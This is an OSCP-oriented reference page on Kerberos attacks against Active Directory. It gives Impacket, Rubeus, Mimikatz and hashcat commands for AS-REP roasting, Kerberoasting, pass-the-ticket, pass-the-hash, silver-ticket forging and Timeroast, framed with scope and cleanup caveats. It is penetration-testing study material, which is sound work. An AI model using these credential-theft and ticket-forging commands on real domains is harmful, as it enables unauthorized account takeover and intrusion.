OSCP Reference

9.6.3 Kerberos and Identity Transitions

← Stage index | Domain mapping | Select accessible credential material for the next identity transition | Credential handling | AD cheatsheet | Strategy map | Study methods: Recover and use authentication material; Map Active Directory attack paths; Gain a more useful domain identity

Purpose: convert a validated Block 10 identity/account/SPN/ticket candidate into typed offline material or a new authenticated identity, then return to mapping.

Boundary: ticket requests and local ticket handling are covered here. Matching the resulting password/hash/ticket to remote execution is Block 12 lateral movement.

9.6.3.1 Kerberos model and prerequisites

AS-REQ/AS-REP: user proves knowledge of long-term key -> receives TGT
TGS-REQ/TGS-REP: TGT requests SERVICE/HOST -> receives service ticket
AP-REQ: client presents service ticket -> service authenticates client
AUTHORIZATION: target service still evaluates the represented identity/claims

Before changing credentials or tools:

getent hosts DC_HOST
nc -nvz DC_IP 88
date -u
w32tm /query /status
klist

Record domain FQDN/realm, DC FQDN/IP, source DNS, current time, KDC route and exact target SPN. IP connectivity does not replace hostname/SPN correctness.

9.6.3.2 Password policy and bounded validation

net accounts /domain
Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess

Password validation belongs to the existing credential procedure. Do not spray by default. If explicitly required, account for lockout threshold, duration, observation window and prior failures; use one justified candidate, stop on lockout/rate-limit evidence and preserve successful identities separately.

9.6.3.3 Check for accounts whose AS-REP responses support offline password recovery AS-REP roasting

9.6.3.3.1 Why AS-REP roasting works

Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.

KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES

9.6.3.3.2 Request an AS-REP for a known user without preauthentication One known user, no password

impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
  -dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes

9.6.3.3.3 Check supplied account names for AS-REP recovery conditions Supplied user list, no password

impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
  -dc-ip DC_IP -outputfile asrep.hashes

9.6.3.3.4 Find AS-REP candidates through authenticated directory queries Authenticated directory-backed discovery

impacket-GetNPUsers 'DOMAIN/USER' -request \
  -dc-ip DC_IP -outputfile asrep.hashes

Omitting the password from the target lets the tool prompt rather than storing it in shell history.

9.6.3.3.5 Request selected Kerberos material from Windows with Rubeus Windows/Rubeus alternative

Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat

9.6.3.3.6 Interpret before cracking

OutputMeaningNext action
$krb5asrep$23$RC4 AS-REP offline verifierHashcat mode 18200
AS-REP with another etypeDifferent cipher/formatMatch the exact prefix to installed Hashcat/John support
KDC_ERR_C_PRINCIPAL_UNKNOWNUser/realm not foundRecheck spelling, realm and DC
Preauthentication required / no UF_DONT_REQUIRE_PREAUTHAccount is not roastable through this methodDisprove this path for that account
Timeout/name errorKDC route/DNS problemFix route/FQDN/time before account conclusions
hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show

Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.

9.6.3.4 Request selected service tickets for offline password recovery Kerberoasting

9.6.3.4.1 Why Kerberoasting works

Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.

VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES

Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.

9.6.3.4.2 Enumerate without requesting tickets

impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'
Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST

9.6.3.4.3 Request one selected user

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes
9.6.3.4.3.1 Request all mapped candidates
impacket-GetUserSPNs -request -dc-ip DC_IP \
  -outputfile kerberoast.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

Use broad requests only when scope and the candidate inventory justify them. Prefer one ranked account during verification.

9.6.3.4.4 Select the recovery format that matches the returned Kerberos artifact Hash type and cracking

PrefixKerberos etypeHashcat mode
$krb5tgs$23$RC4-HMAC13100
$krb5tgs$17$AES12819600
$krb5tgs$18$AES25619700
hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show

Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.

9.6.3.4.5 Common failures

  • no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
  • KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;
  • KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;
  • output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
  • crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”

9.6.3.5 Check whether SPN-write rights enable targeted ticket recovery Targeted Kerberoasting from object control

If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.

Built-in SPN operations:

setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER

Request only that account:

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'

Cleanup:

setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER

The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.

9.6.3.6 Identify and convert the tickets available to your current context Ticket inventory, classification and conversion

klist
klist tgt
klist sessions
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Do not run klist purge during triage.

Field/patternInterpretationDecision
Client: USER @ REALMIdentity representedMap that exact user/computer and realm
Client ending in $Computer identityEstablish machine-account rights; do not treat as a human user
Server: krbtgt/REALMTGTCan request service tickets while valid, within that client's authorization
Server: cifs/HOSTCIFS service ticketOnly SMB/CIFS on the named host; authorization still applies
Server: ldap/DC_HOSTLDAP service ticketLDAP authentication, not replication rights
Other SERVICE/HOSTTicket for that SPNUse matching hostname/service/client
Start/End/Renew TimeValidity windowsImport cannot revive an expired/not-yet-valid ticket
Ticket flagsKerberos behavior/historyNot evidence of privilege
Kdc CalledIssuing KDCNot evidence of access to that DC
Encryption/session keyCompatibility/policy clueNot privilege or password strength

Linux cache:

klist -c ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"

Convert only when a client expects the other container:

impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi

9.6.3.7 Use an available key or ticket in the correct identity context Pass-the-Ticket and key-to-ticket transitions

These commands establish a local ticket context. Block 12 selects and validates the remote service.

Windows/Rubeus:

Rubeus.exe ptt /ticket:ticket.kirbi
klist

Windows/Mimikatz:

kerberos::ptt ticket.kirbi
kerberos::list

Linux:

export KRB5CCNAME="$PWD/ticket.ccache"
klist

NT hash or AES key to a TGT:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

Use /aes128: or /aes256: when that is the actual key type and tool version supports it. RC4-based requests can fail where RC4 is disabled even though the NT hash is correct.

Mimikatz creates a new process using supplied key material:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:cmd.exe

This is a credential/ticket-context transition, not proof that a destination accepts the identity.

9.6.3.8 Forge a service ticket when you possess the correct service key Silver tickets: forge one service ticket

Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.

Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.

Linux/Impacket:

impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Windows/Mimikatz:

kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt

Despite the Mimikatz module name, supplying a service/target key produces a silver/service ticket, not a krbtgt-signed TGT.

Important boundaries:

  • the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
  • the ticket is limited to the named service/host and whichever services share the same account key;
  • current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
  • a service may perform KDC/PAC validation or additional authorization;
  • a successfully imported ticket is not successful service access.

Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.

9.6.3.9 Re-enumerate every new identity

NEW PASSWORD/HASH/KEY/TICKET
-> VERIFY TYPE, CLIENT, REALM, VALIDITY
-> AUTHENTICATE THROUGH ONE COMPATIBLE SERVICE
-> CONFIRM IDENTITY
-> REPEAT GROUP/ACL/SHARE/HOST/SESSION/ROUTE MAPPING

Do not overwrite the old state. Record which source produced the material and which protocol accepted it.

9.6.3.10 Choose the next check from the failure you observed Failure router

SymptomLayerNext test
KDC unreachableRoute/serviceDNS/FQDN, TCP/UDP 88, pivot path
Clock-skew errorTimeSynchronize source to authorized domain time
Principal unknownIdentity/realmExact username, realm and DC
Preauth requiredAS-REP prerequisite absentDisprove AS-REP roast for that account
No SPNsEnumeration/contextCorrect domain, bind identity, filter and account type
Etype unsupportedCipher policyUse supported account/domain/tool path; do not blame password
Hashcat loads zero hashesFormat/mode/file integrityInspect prefix, wrapping and mode examples
Exhausted wordlistCandidate model failedImprove candidates or deprioritize; no credential was recovered
Ticket import succeeds, access failsSPN/service/authorization/routeClient, validity, hostname, service class and target rights
Silver ticket rejectedWrong key/SPN/domain SID/PAC behaviorRevalidate every prerequisite; use a real authorized identity
NT hash to TGT failsRC4 disabled or identity/key mismatchExact key type, realm, user and KDC policy

9.6.3.11 Tooling for this section

ToolChoose it whenRequirementsBaselineDecisive outputFailure cue
Impacket GetNPUsersAS-REP candidate from KaliUsername/list, KDC route; no password for direct candidate testSection 3$krb5asrep$ linePreauth required/principal unknown
Impacket GetUserSPNsEnumerate/request selected SPN accountValid domain identity, LDAP/KDC route-request-user TARGET_USER$krb5tgs$ lineNo SPN/etype/KDC error
RubeusWindows roasting and ticket lifecycleDomain Windows context or alternate credential; compatible buildkerberoast /stats, selected roast, triageAccount/hash/ticket metadataLDAP/KDC/privilege/version failure
Hashcat/JohnOffline verifier testingExact format/mode and candidatesModes 18200/13100/19600/19700 as applicableVerified recovered candidateZero hashes loaded/exhausted candidates
klistNative ticket metadataWindows or Kerberos clientklist / klist -cClient, server, validity, etypeWrong cache/LUID or expired ticket
Impacket ticketConverterTool requires ccache vs kirbiValid ticket file and compatible releaseticketConverter INPUT OUTPUTParsed output containerInvalid/truncated ticket
Impacket ticketer/MimikatzValidated silver-ticket prerequisiteService/machine key, SID, SPN and isolated authorizationSection 8Ticket with expected client/server fieldsWrong key/SPN/PAC/authorization

9.6.3.12 Timeroast — offline recovery of weak computer-account passwords via MS-SNTP

Use when the DC exposes UDP/123 and Windows authenticated NTP responses are available for computer/trust-account RIDs. This is separate from Kerberos roasting and does not require a domain password. Prefer a known computer RID; the example range is bounded discovery, not a completeness guarantee.

python3 timeroast.py DC_IP --rids 1000-1100 --rate 10 --timeout 5 -o timeroast.txt
hashcat -m 31300 --username timeroast.txt WORDLIST
hashcat -m 31300 --username timeroast.txt --show

Read: output resembles RID:$sntp-ms$... and is a response-derived offline verifier, not a reusable NT hash. Map any recovered RID to the exact computer/trust identity before testing its password on one relevant service. Normally rotated random machine passwords are not practical dictionary candidates. No reply can mean filtering, unsupported behavior, nonexistent RIDs or packet loss. Do not infer no AD accounts or switch blindly to an unbounded RID sweep. The source's NetExec module is an alternative wrapper; inspect its installed options because its default RID sweep is very broad.

Sources: upstream 1 · upstream 2.

9.6.3.13 Sources


Top of document · Reference home